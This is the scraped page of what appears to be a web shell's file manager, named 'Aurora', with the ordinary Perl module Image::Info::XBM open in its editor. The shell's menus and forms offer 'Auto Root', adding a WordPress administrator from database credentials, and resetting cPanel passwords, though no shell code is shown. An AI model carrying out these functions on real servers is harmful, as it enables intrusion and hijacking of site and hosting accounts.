Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
share
perl5
vendor_perl
Image
Info
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: XBM.pm
package Image::Info::XBM; $VERSION = '1.08'; use strict; use Image::Xbm 1.07; sub process_file { my($info, $source, $opts) = @_; local $SIG{__WARN__} = sub { $info->push_info(0, "Warn", shift); }; my $i = Image::Xbm->new(-width => 0, -height => 0); # loading the file as a separate step avoids a "-r" test, this would # file with in-memory strings (aka fake files) $i->load($source); $info->push_info(0, "color_type" => "Grey"); $info->push_info(0, "file_ext" => "xbm"); $info->push_info(0, "file_media_type" => "image/x-xbitmap"); $info->push_info(0, "height", $i->get(-height)); $info->push_info(0, "resolution", "1/1"); $info->push_info(0, "width", $i->get(-width)); $info->push_info(0, "BitsPerSample" => 1); $info->push_info(0, "SamplesPerPixel", 1); $info->push_info(0, "ColorTableSize" => 2 ); if( $opts->{L1D_Histogram} ){ #Do Histogram my $imgdata = $i->as_binstring(); $info->push_info(0, "L1D_Histogram", [$imgdata =~ tr/0//d, $imgdata =~ tr/1//d ]); } $info->push_info(0, "HotSpotX" => $i->get(-hotx) ); $info->push_info(0, "HotSpotY" => $i->get(-hoty) ); } 1; __END__ =head1 NAME Image::Info::XBM - XBM support for Image::Info =head1 SYNOPSIS use Image::Info qw(image_info dim); my $info = image_info("image.xbm"); if (my $error = $info->{error}) { die "Can't parse image info: $error\n"; } my $color = $info->{color_type}; my($w, $h) = dim($info); =head1 DESCRIPTION This modules supplies the standard key names except for Compression, Gamma, Interlace, LastModificationTime, as well as: =over =item HotSpotX The x-coord of the image's hotspot. Set to -1 if there is no hotspot. =item HotSpotY The y-coord of the image's hotspot. Set to -1 if there is no hotspot. =item L1D_Histogram Reference to an array representing a one dimensional luminance histogram. This key is only present if C<image_info> is invoked as C<image_info($file, L1D_Histogram=E<gt>1)>. The range is from 0 to 1. =back =head1 METHODS =head2 process_file() $info->process_file($source, $options); Processes one file and sets the found info fields in the C<$info> object. =head1 AUTHOR =head1 FILES This module requires L<Image::Xbm> =head1 SEE ALSO L<Image::Info>, L<Image::Xbm> =head1 NOTES For more information about XBM see L<http://www.martinreddy.net/gfx/2d/XBM.txt>. =head1 AUTHOR Jerrad Pierce <belg4mit@mit.edu>/<webmaster@pthbb.org> Tels - (c) 2006 Current maintainer: Slaven Rezic <srezic@cpan.org> This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =cut =begin register MAGIC: /^(?:\/\*.*\*\/\n)?#define\s/ See L<Image::Info::XBM> for details. =end register =cut